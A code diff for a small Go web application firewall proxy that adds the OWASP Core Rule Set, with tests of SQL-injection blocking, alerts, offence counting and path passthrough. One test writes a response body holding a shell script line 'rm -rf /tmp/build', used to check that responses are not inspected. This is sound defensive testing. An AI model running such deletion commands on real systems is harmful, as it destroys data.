+	})
+
+	conn := dial(t, addr)
+	send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+
+		"\r\nContent-Length: 100\r\n\r\ncontent=the first bytes")
+
+	wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout)
+
+	line := out.requestLine(t)
+	wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut)
+	wantNotSentToTheApp(t, line)
+	wantLimitHits(t, addr, clientRequestTimeout, 1)
+}
+
+func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		wafMode: block, wafBodyLimit: "4K",
+		requestMaxBytes: sizeLimitSetting, metricsToken: token,
+	})
+
+	// Sent in chunks, its length is not announced, and is found to be over
+	// the limit as the Core Rule Set reads it.
+	body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit)))
+	req := newRequest(t, http.MethodPost, addr, "/", body)
+	req.Header.Set("Content-Type", formData)
+	wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
+
+	line := out.requestLine(t)
+	wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
+	wantNotSentToTheApp(t, line)
+	wantLimitHits(t, addr, requestMaxBytes, 1)
+}
+
+// wantNotSentToTheApp checks that the request of line was not sent to the
+// app at all.
+func wantNotSentToTheApp(t *testing.T, line logLine) {
+	t.Helper()
+
+	_, sent := line.fields["duration_upstream_total"]
+	if sent {
+		t.Error("log line has duration_upstream_total, for a request sent to the app")
+	}
+}
+
+func TestResponsesAreNotInspected(t *testing.T) {
+	t.Parallel()
+
+	// A raw shell script, and an SQL error, which the Core Rule Set's rules
+	// for responses take for a leak.
+	const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
+		"You have an error in your SQL syntax; check the manual that " +
+		"corresponds to your MySQL server version\n"
+
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		_, _ = w.Write([]byte(page))
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
+
+	got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
+	if got.status != http.StatusOK || string(got.body) != page {
+		t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
+	}
+
+	wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
+}
+
+func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	const scraper = "192.0.2.200"
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: block, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 2 {
+		s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+	}
+
+	// The third refusal in a minute breaks the error burst, and bans the
+	// client.
+	line := s.request(client, sqlInjection, http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	if line.LimitHit != requestlog.LimitHitErrorBurst ||
+		line.Offence != requestlog.OffenceLimit {
+		t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
+			line.LimitHit, line.Offence)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+
+	metrics := s.scrape(scraper)
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
+	wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
+		`instance="app",status_class="4xx"}`, 3)
+}
+
+func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	const scraper = "192.0.2.200"
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 3 {
+		s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	}
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	offences := historyOf(t, server, client).Offences
+	if offences != (ratelimit.Offences{}) {
+		t.Errorf("history counts the offences %+v, want none", offences)
+	}
+
+	metrics := s.scrape(scraper)
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
+}
+
+func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
+
+	line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(5), 942100)
+
+	// It is an offence as in enforce mode.
+	want := ratelimit.Offences{WAFBlocked: 1}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+}
+
+func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// status and action are what the request is answered and logged
+		// with, and alertMode what the alert's detail gives as mode, if
+		// anything.
+		status            int
+		action, alertMode string
+	}{
+		{
+			"block", map[string]string{wafMode: block},
+			http.StatusForbidden, requestlog.ActionWAFBlocked, "",
+		},
+		{
+			"detect", map[string]string{wafMode: detect},
+			http.StatusOK, requestlog.ActionForward, detect,
+		},
+		{
+			"block in observe mode", map[string]string{wafMode: block, mode: observe},
+			http.StatusOK, requestlog.ActionForward, observe,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, clk, _, queue := startWithAlerts(t, tc.env)
+
+			// The second is a repeat, which the cooldown holds back, and an
+			// ordinary request raises none.
+			for range 2 {
+				s.request(client, sqlInjection, tc.status, tc.action)
+			}
+
+			s.get(client, http.StatusOK, requestlog.ActionForward)
+
+			detail := map[string]any{
+				"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
+				"path": sqlInjection,
+			}
+			if tc.alertMode != "" {
+				detail["mode"] = tc.alertMode
+			}
+
+			wantAlerts(t, queue, alerts.Alert{
+				Instance: alertInstance,
+				Time:     clk.Now(),
+				Event:    alerts.EventWAFBlock,
+				Client:   netip.MustParseAddr(client),
+				Netblock: netip.MustParsePrefix(client + "/32"),
+				Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+				Detail:   detail,
+			})
+
+			if queue.Suppressed() != 1 {
+				t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+			}
+		})
+	}
+}

internal/proxy/errorburst_test.go

@@ -248,8 +248,6 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
 func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
 	t.Parallel()
 
-	const off = "off"
-
 	for _, tc := range []struct {
 		threshold string
 		// broken is whether the 31st refusal breaks the error burst.

internal/proxy/lookup_test.go

@@ -86,6 +86,75 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T)
 	}
 }
 
+func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
+	t.Parallel()
+
+	// The country list has a new client's request wait for its answer,
+	// which the stand-in for GeoJS gives only once released.
+	geojsURL, asked, release := startHeldGeoJS(t)
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
+	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
+		map[string]string{
+			trustedProxies:  trustLocalhost,
+			lookupTimeout:   "1h",
+			deniedCountries: "kp",
+		})
+
+	requestFromDE := func() *http.Request {
+		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+		req.Header.Set(forwardedFor, fromDE)
+
+		return req
+	}
+
+	// fromDE's first request arrives two seconds before a minute ends,
+	// and waits for GeoJS.
+	first, httpClient := requestFromDE(), newClient(t)
+	firstEnded := make(chan error, 1)
+
+	go func() {
+		res, err := httpClient.Do(first)
+		if err == nil {
+			err = readAnswer(res).err
+		}
+
+		firstEnded <- err
+	}()
+
+	waitUntil(func() bool { return len(asked()) == 1 })
+
+	// Half a second into the next minute, the answer is kept, as an edit
+	// of lookups.json would keep it, while the first request still waits
+	// for GeoJS. The second request goes on at once, and is counted.
+	clk.advance(2500 * time.Millisecond)
+	server.GeoJS.Load([]lookup.Answer{{
+		Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
+		Country: "DE", Answered: clk.Now(), Used: clk.Now(),
+	}})
+	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
+
+	// GeoJS answers, and the first request goes on.
+	release()
+
+	err := <-firstEnded
+	if err != nil {
+		t.Fatalf("first request: %v", err)
+	}
+
+	wantLine(t, out.requestLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
+
+	// The third request's count holds all three: the first was counted
+	// when it went on, in the minute under way, and the second's count
+	// was kept.
+	clk.advance(500 * time.Millisecond)
+	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
+
+	if got := out.requestLines(t, 3)[2].Counts.Minute; got != 3 {
+		t.Errorf("the third request's count in the minute is %v, want 3", got)
+	}
+}
+
 func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
 	t.Parallel()
 

internal/proxy/passthrough_test.go

@@ -74,6 +74,47 @@ func TestPassesRequestAndAnswerUnchanged(t *testing.T) {
 	wantRequestFields(t, line, addr, len(requestBody), len(answerBody))
 }
 
+func TestPassesThePathAsSent(t *testing.T) {
+	t.Parallel()
+
+	for _, path := range []string{
+		// An encoded slash and a character Go escapes: |, ^, and é sent
+		// as its UTF-8 bytes.
+		"/a%2Fb|c", "/feat%2Fx/file^1", "/x%2Fy/café",
+		// A path starting with //, which Go would send as a scheme and
+		// host if it were put in URL.Opaque.
+		"//a%2Fb",
+	} {
+		t.Run(path, func(t *testing.T) {
+			t.Parallel()
+
+			saw := make(chan string, 1)
+			app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
+				saw <- r.RequestURI
+			})
+			addr, out := startProxy(t, app.URL, nil)
+
+			conn := dial(t, addr)
+			send(t, conn, "GET "+path+"?q=1 HTTP/1.1\r\nHost: "+appHost+"\r\n\r\n")
+
+			got := readResponse(t, conn)
+			if got.status != http.StatusOK {
+				t.Fatalf("status %d, want %d", got.status, http.StatusOK)
+			}
+
+			target := <-saw
+			if target != path+"?q=1" {
+				t.Errorf("app saw %s, want %s", target, path+"?q=1")
+			}
+
+			line := out.requestLine(t)
+			if line.Path != path {
+				t.Errorf("log line has path %s, want %s", line.Path, path)
+			}
+		})
+	}
+}
+
 // wantAppSaw checks that the app received the test's request unchanged.
 func wantAppSaw(t *testing.T, saw appSaw, body []byte) {
 	t.Helper()
@@ -151,6 +192,36 @@ func wantRequestFields(t *testing.T, line logLine, host string, sent, received i
 	}
 }
 
+func TestAddsNoContentTypeTheAppDidNotSend(t *testing.T) {
+	t.Parallel()
+
+	const typed = "text/plain"
+
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path == "/typed" {
+			w.Header().Set("Content-Type", typed)
+		} else {
+			// The key with no value keeps Go's server from adding one.
+			w.Header()["Content-Type"] = nil
+		}
+
+		_, _ = io.WriteString(w, "<!doctype html><title>page</title>")
+	})
+	addr, _ := startProxy(t, app.URL, nil)
+
+	got := get(t, addr, "/")
+	if got.header.Values("Content-Type") != nil {
+		t.Errorf("client got Content-Type %q, want none",
+			got.header.Get("Content-Type"))
+	}
+
+	got = get(t, addr, "/typed")
+	if got.header.Get("Content-Type") != typed {
+		t.Errorf("client got Content-Type %q, want %q",
+			got.header.Get("Content-Type"), typed)
+	}
+}
+
 func TestStreamsTheRequestBody(t *testing.T) {
 	t.Parallel()
 
@@ -309,6 +380,23 @@ func echoAfterUpgrade(w http.ResponseWriter, r *http.Request) {
 	}
 }
 
+func TestAnswers502WhenTheAppSwitchesToAnotherProtocol(t *testing.T) {
+	t.Parallel()
+
+	// answerAfterUpgrade switches to websocket whatever the client asked
+	// for, and ReverseProxy passes on a switch only to the protocol the
+	// client asked for, here "websocket, foo".
+	app := startApp(t, answerAfterUpgrade)
+	addr, out := startProxy(t, app.URL, nil)
+
+	conn := dial(t, addr)
+	send(t, conn, "GET /ws HTTP/1.1\r\nHost: app\r\n"+
+		"Connection: Upgrade\r\nUpgrade: websocket, foo\r\n\r\n")
+
+	wantStatus(t, readResponse(t, conn), http.StatusBadGateway)
+	wantLine(t, out.requestLine(t), http.StatusBadGateway, requestlog.ActionUpstreamError)
+}
+
 func TestServerHasTheDefaultLimits(t *testing.T) {
 	t.Parallel()
 

internal/proxy/proxy.go

@@ -21,6 +21,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 // How smallwebwaf keeps connections to the app open between requests.
@@ -75,9 +76,10 @@ type Params struct {
 	// Alerts receive the alert for each ban the proxy makes or makes
 	// permanent, for each count over an anomaly threshold, for each request
 	// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
-	// AbuseIPDB lists, and for GeoJS failing, a fetch of a list failing, a
-	// query to a DNSBL zone or a check with AbuseIPDB failing, or the day's
-	// AbuseIPDB checks used up.
+	// AbuseIPDB lists, for each request the Core Rule Set scores at or over
+	// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
+	// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
+	// or the day's AbuseIPDB checks used up.
 	Alerts *alerts.Queue
 }
 
@@ -144,12 +146,13 @@ func New(params Params) *Server {
 			NamedNetblocks: params.Config.WatchNets,
 			Alerts:         params.Alerts,
 		}),
-		lookupFile: params.LookupFile,
-		lists:      lists,
-		dnsbl:      dnsbl,
-		abuseIPDB:  abuseIPDB,
-		rules:      params.Rules,
-		alerts:     params.Alerts,
+		lookupFile:  params.LookupFile,
+		lists:       lists,
+		dnsbl:       dnsbl,
+		abuseIPDB:   abuseIPDB,
+		rules:       params.Rules,
+		coreRuleSet: newCoreRuleSet(params.Config),
+		alerts:      params.Alerts,
 	}
 	h.geojs = lookup.New(lookup.Params{
 		URL:     params.GeoJSURL,
@@ -228,26 +231,49 @@ func newReputation(
 	return lists, dnsbl, abuseIPDB
 }
 
+// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
+// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
+// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off.
+func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
+	if cfg.WAFMode == config.WAFModeOff {
+		return nil
+	}
+
+	coreRuleSet, err := waf.New(waf.Params{
+		ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
+		BodyLimit: cfg.WAFBodyLimit,
+	})
+	if err != nil {
+		// The Core Rule Set is built in, and the settings cannot break it:
+		// the paranoia level is from 1 to 4, the body limit at most 1G, and
+		// the id of no rule switches nothing off.
+		panic(err)
+	}
+
+	return coreRuleSet
+}
+
 // handler is the proxy. It holds what every request shares; what belongs
 // to one request is in a request.
 type handler struct {
-	config     *config.Config
-	requestLog io.Writer
-	processLog *slog.Logger
-	errorLog   *log.Logger
-	transport  http.RoundTripper
-	now        func() time.Time
-	metrics    *metrics.Metrics
-	limiter    *ratelimit.Limiter
-	ledger     *bans.Ledger
-	geojs      *lookup.GeoJS
-	anomalies  *anomaly.Counters
-	lookupFile *lookup.File
-	lists      *reputation.Lists
-	dnsbl      *reputation.DNSBL
-	abuseIPDB  *reputation.AbuseIPDB
-	rules      *rules.Files
-	alerts     *alerts.Queue
+	config      *config.Config
+	requestLog  io.Writer
+	processLog  *slog.Logger
+	errorLog    *log.Logger
+	transport   http.RoundTripper
+	now         func() time.Time
+	metrics     *metrics.Metrics
+	limiter     *ratelimit.Limiter
+	ledger      *bans.Ledger
+	geojs       *lookup.GeoJS
+	anomalies   *anomaly.Counters
+	lookupFile  *lookup.File
+	lists       *reputation.Lists
+	dnsbl       *reputation.DNSBL
+	abuseIPDB   *reputation.AbuseIPDB
+	rules       *rules.Files
+	coreRuleSet *waf.CoreRuleSet
+	alerts      *alerts.Queue
 }
 
 // newTransport returns what carries requests to the app. It never goes

internal/proxy/proxy_test.go

@@ -85,8 +85,12 @@ const (
 	logRequestHeaders       = "SWWAF_LOG_REQUEST_HEADERS"
 	attackBanDuration       = "SWWAF_ATTACK_BAN_DURATION"
 	rulesDir                = "SWWAF_RULES_DIR"
+	wafMode                 = "SWWAF_WAF_MODE"
 )
 
+// off is the value that switches a setting off.
+const off = "off"
+
 // output collects what smallwebwaf writes on stdout.
 type output struct {
 	mu  sync.Mutex
@@ -271,7 +275,9 @@ func startProxyWithAlerts(
 // is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
 // is off unless env sets it. While it is file, the lookup database
 // SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
-// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY.
+// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off
+// unless env sets it, so that only the tests of the Core Rule Set have
+// their requests inspected by it.
 func newProxy(
 	t *testing.T, appURL, geojsURL string, now func() time.Time,
 	env map[string]string,
@@ -280,9 +286,10 @@ func newProxy(
 
 	settings := map[string]string{
 		"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
+		wafMode: off,
 	}
 	if geojsURL == "" {
-		settings[lookupSource] = "off"
+		settings[lookupSource] = off
 	}
 
 	maps.Copy(settings, env)

internal/proxy/ratelimits_test.go

@@ -185,6 +185,9 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
 		"/assets/x%2Fy",
 		"/assets/x%2fy",
 		`/assets/x\y`,
+		// The same with a character Go escapes, |, for which Go's
+		// URL.EscapedPath gives /assets/x/y%7Cz, with no encoded slash.
+		"/assets/x%2Fy|z",
 	} {
 		t.Run(sent, func(t *testing.T) {
 			t.Parallel()

internal/proxy/reputation_test.go

@@ -725,6 +725,10 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
 			"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
 			ratelimit.Offences{RuleBlocked: 1},
 		},
+		{
+			"the Core Rule Set", sqlInjection, http.StatusForbidden,
+			requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
+		},
 		{
 			"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
 			ratelimit.Offences{Attack: 1},
@@ -744,7 +748,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
 			s, clk, server := startWithClock(t, "", map[string]string{
 				abuseIPDBKey: accountKey, reputationAction: actionLog,
 				rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
-				trapPaths: trapPathList, metricsToken: token,
+				trapPaths: trapPathList, metricsToken: token, wafMode: block,
 			})
 
 			s.request(client, tc.path, tc.status, tc.action)

internal/proxy/request.go

@@ -8,7 +8,6 @@ import (
 	"net/http/httptrace"
 	"net/http/httputil"
 	"net/netip"
-	"net/url"
 	"os"
 	"slices"
 	"strings"
@@ -22,6 +21,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
 
 // flushAfterEachWrite has ReverseProxy pass on each part of the app's
@@ -65,10 +65,10 @@ type request struct {
 	counted                    bool
 	limitPercent, bytesPercent percentage
 	// attack is true for a request that matched a ban rule or asked for a
-	// trap path, ruleBlocked for one a block rule refused, and
-	// tokenRefused for one refused for a missing or wrong token, each an
-	// offence its client's history counts.
-	attack, ruleBlocked, tokenRefused bool
+	// trap path, ruleBlocked for one a block rule refused, wafBlocked for
+	// one the Core Rule Set refused, and tokenRefused for one refused for a
+	// missing or wrong token, each an offence its client's history counts.
+	attack, ruleBlocked, wafBlocked, tokenRefused bool
 	// blocklisted is true once a blocklist is found to list the client,
 	// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
 	// AbuseIPDB's score of it is a hit.
@@ -137,7 +137,7 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
 			Method:           r.Method,
 			Scheme:           scheme(r, peerTrusted),
 			Host:             r.Host,
-			Path:             r.URL.EscapedPath(),
+			Path:             rules.Path(r),
 			Query:            r.URL.RawQuery,
 			Protocol:         r.Proto,
 			Referer:          r.Referer(),
@@ -188,22 +188,29 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
 }
 
 // check is the one place where a request can be refused once its client
-// is known, before its body is read or anything reaches the app. It
-// returns nil to let the request through. The checks of checkClient come
-// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
+// is known, before anything reaches the app, and before its body is read,
+// but for the part the Core Rule Set reads. It returns nil to let the
+// request through. The checks of checkClient come first, answered with
+// SWWAF_BAN_RESPONSE, or 403 for a block rule or the Core Rule Set, and
 // then the size limit, so that a request the rate limits count is counted
 // even when it is refused for its size. In observe mode a request
-// checkClient refuses goes on to the size limit like any other. ctx is
-// the request's own context.
+// checkClient refuses goes on to the size limit like any other. A size or
+// time limit the Core Rule Set's reading of the body meets ends the
+// request in either mode. ctx is the request's own context.
 func (rq *request) check(ctx context.Context) *refusal {
 	action := rq.checkClient(ctx)
 
+	refused := rq.refused.Load()
+	if refused != nil {
+		return refused
+	}
+
 	switch {
 	case action == "":
 	case rq.h.config.Observe:
 		// The log line names what enforce mode would have done.
 		rq.line.WouldAction = action
-	case action == requestlog.ActionRuleBlocked:
+	case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
 		return &refusal{status: http.StatusForbidden, action: action}
 	default:
 		return rq.banResponse(action)
@@ -233,9 +240,9 @@ func (rq *request) check(ctx context.Context) *refusal {
 // rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
 // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
 // every other request is counted, each of them by the client's limit
-// percentages, then SWWAF_TRAP_PATHS, and last the rule files. A request
-// exempt from the rate limits is exempt from the byte limits too. ctx is
-// the request's own context.
+// percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the
+// Core Rule Set. A request exempt from the rate limits is exempt from the
+// byte limits too. ctx is the request's own context.
 func (rq *request) checkClient(ctx context.Context) string {
 	cfg := rq.h.config
 	if isInside(rq.client, cfg.AllowNets) {
@@ -254,6 +261,12 @@ func (rq *request) checkClient(ctx context.Context) string {
 
 	rq.lookUp(ctx)
 
+	// The lookup can wait for GeoJS, so the checks after it read the time
+	// again: a request counted at the time it arrived could be counted
+	// after a later one of its client's, which the rate limits would take
+	// for the clock set back.
+	now = rq.h.now()
+
 	if rq.countryDenied() {
 		return requestlog.ActionCountryDenied
 	}
@@ -271,7 +284,7 @@ func (rq *request) checkClient(ctx context.Context) string {
 	}
 
 	rq.counted = !isInside(rq.client, cfg.RateLimitExemptNets) &&
-		!pathExempt(rq.in.URL, cfg.RateLimitExemptPaths)
+		!pathExempt(rq.in, cfg.RateLimitExemptPaths)
 	if rq.counted {
 		rq.limitPercent, rq.bytesPercent = rq.limitPercentages()
 		rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged()
@@ -286,22 +299,26 @@ func (rq *request) checkClient(ctx context.Context) string {
 		return requestlog.ActionBanned
 	}
 
-	return rq.checkRules(now)
+	action := rq.checkRules(now)
+	if action != "" {
+		return action
+	}
+
+	return rq.checkCoreRuleSet()
 }
 
-// pathExempt reports whether the rate limits leave out a request for u
-// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
-// path the app receives, not percent-decoded, starts with one of
-// prefixes, so that /%61ssets/x is not under /assets/ for an app whose
-// router matches the path as received. A request whose decoded path
-// contains .. anywhere or a backslash, or whose path as sent holds an
+// pathExempt reports whether r is exempt under prefixes,
+// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
+// path as sent, the path the app receives, not percent-decoded, starts
+// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
+// app whose router matches the path as received. A request whose decoded
+// path contains .. anywhere or a backslash, or whose path as sent holds an
 // encoded slash (%2F or %2f), never is, since an app may act on it as a
 // path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
 // as one path segment, as Go's router does.
-func pathExempt(u *url.URL, prefixes []string) bool {
-	decoded := u.Path
-	// EscapedPath is the path as the app receives it, not decoded.
-	sent := u.EscapedPath()
+func pathExempt(r *http.Request, prefixes []string) bool {
+	decoded := r.URL.Path
+	sent := rules.Path(r)
 
 	if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
 		strings.Contains(strings.ToLower(sent), "%2f") {
@@ -357,6 +374,17 @@ func (rq *request) rewrite(pr *httputil.ProxyRequest) {
 	// ReverseProxy drops query parameters it cannot parse; the app gets
 	// the query as the client sent it.
 	pr.Out.URL.RawQuery = pr.In.URL.RawQuery
+	// ReverseProxy sends the path URL.EscapedPath gives, which, for a path
+	// holding a character Go escapes, such as |, is the whole path decoded
+	// and escaped again, %2F turned into /. Opaque is sent as it is, so the
+	// app gets the path as the client sent it. Left out are a target that
+	// is no path, such as *, and a path starting with //, which Go would
+	// send in Opaque as a scheme and host.
+	path := rules.Path(pr.In)
+	if strings.HasPrefix(path, "/") && !strings.HasPrefix(path, "//") {
+		pr.Out.URL.Opaque = path
+	}
+
 	setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted)
 	pr.Out.Header.Set(requestIDHeader, rq.line.RequestID)
 	pr.Out.Header.Del(asnHeader)
@@ -377,8 +405,10 @@ func (rq *request) modifyResponse(res *http.Response) error {
 		// timeouts. ReverseProxy writes this answer straight to the
 		// connection it takes over, not through rq.out, and then copies
 		// what passes each way through res.Body, the connection to the app.
+		// It may still refuse the switch, as when the app's Upgrade is not
+		// the client's, so the status is noted only once it has taken over
+		// the connection, by rq.out's Hijack.
 		rq.stopTimers()
-		rq.out.status = res.StatusCode
 		rq.line.Websocket = true
 
 		conn, ok := res.Body.(io.ReadWriteCloser)
@@ -401,6 +431,13 @@ func (rq *request) modifyResponse(res *http.Response) error {
 		return errResponseTooLarge
 	}
 
+	// Go's server adds a Content-Type it guesses from the body to a
+	// response whose headers have no Content-Type key. The key with no
+	// value sends none, as the app sent none.
+	if res.Header.Get("Content-Type") == "" {
+		rq.out.Header()["Content-Type"] = nil
+	}
+
 	res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
 	rq.startClientResponseTimeout()
 
@@ -410,6 +447,13 @@ func (rq *request) modifyResponse(res *http.Response) error {
 // answerError is ReverseProxy's ErrorHandler: the request could not be
 // passed to the app, or the app's answer cannot be passed on.
 func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
+	if rq.upgraded != nil {
+		// The app switched protocols, but the switch was not passed on,
+		// and ReverseProxy leaves the app's connection open when it
+		// refuses it.
+		_ = rq.upgraded.Close()
+	}
+
 	refused := rq.refused.Load()
 	if refused == nil {
 		if rq.in.Context().Err() != nil {
@@ -562,6 +606,7 @@ func (rq *request) addToHistory() {
 		BrokeLimit:    rq.line.Offence == requestlog.OffenceLimit,
 		Attack:        rq.attack,
 		RuleBlocked:   rq.ruleBlocked,
+		WAFBlocked:    rq.wafBlocked,
 		TokenRefused:  rq.tokenRefused,
 	}
 
@@ -691,6 +736,16 @@ func (rq *request) requestTimedOut(limit string) {
 	}
 
 	if rq.body == nil || !rq.body.waiting.Load() {
+		// Once the app has answered, the transport, ReverseProxy and Go's
+		// server each close the client's body, and closing it reads what
+		// is left of a body under 256 KiB without requestBody.Read, so
+		// waiting is false while that read waits for the client. That
+		// read ends now, before refuse: should smallwebwaf still answer
+		// itself, answer then sets the deadline it gives its own answers.
+		if !rq.answerStarted.IsZero() {
+			rq.stopReadingBody(time.Now())
+		}
+
 		rq.refuse(refusal{
 			status: http.StatusGatewayTimeout,
 			action: requestlog.ActionTimedOut,
@@ -776,9 +831,19 @@ func (rq *request) responseTimedOut() {
 	}
 }
 
-// responseReceived is called once the app has sent its whole answer.
+// responseReceived is called once the app has sent its whole answer. An
+// app may answer before the client has sent its whole body, as with a 404
+// it sends without reading it. The timeouts then run on: until the
+// transport's read of the body returns, Go's server cannot send the
+// answer, and SWWAF_CLIENT_REQUEST_TIMEOUT is what ends that read for a
+// client that stops sending.
 func (rq *request) responseReceived() {
 	rq.complete = true
+
+	if rq.body != nil && !rq.body.received.Load() {
+		return
+	}
+
 	rq.stopTimers()
 }
 

internal/proxy/request_internal_test.go

@@ -0,0 +1,55 @@
+package proxy
+
+import (
+	"io"
+	"net/http"
+	"net/http/httptest"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
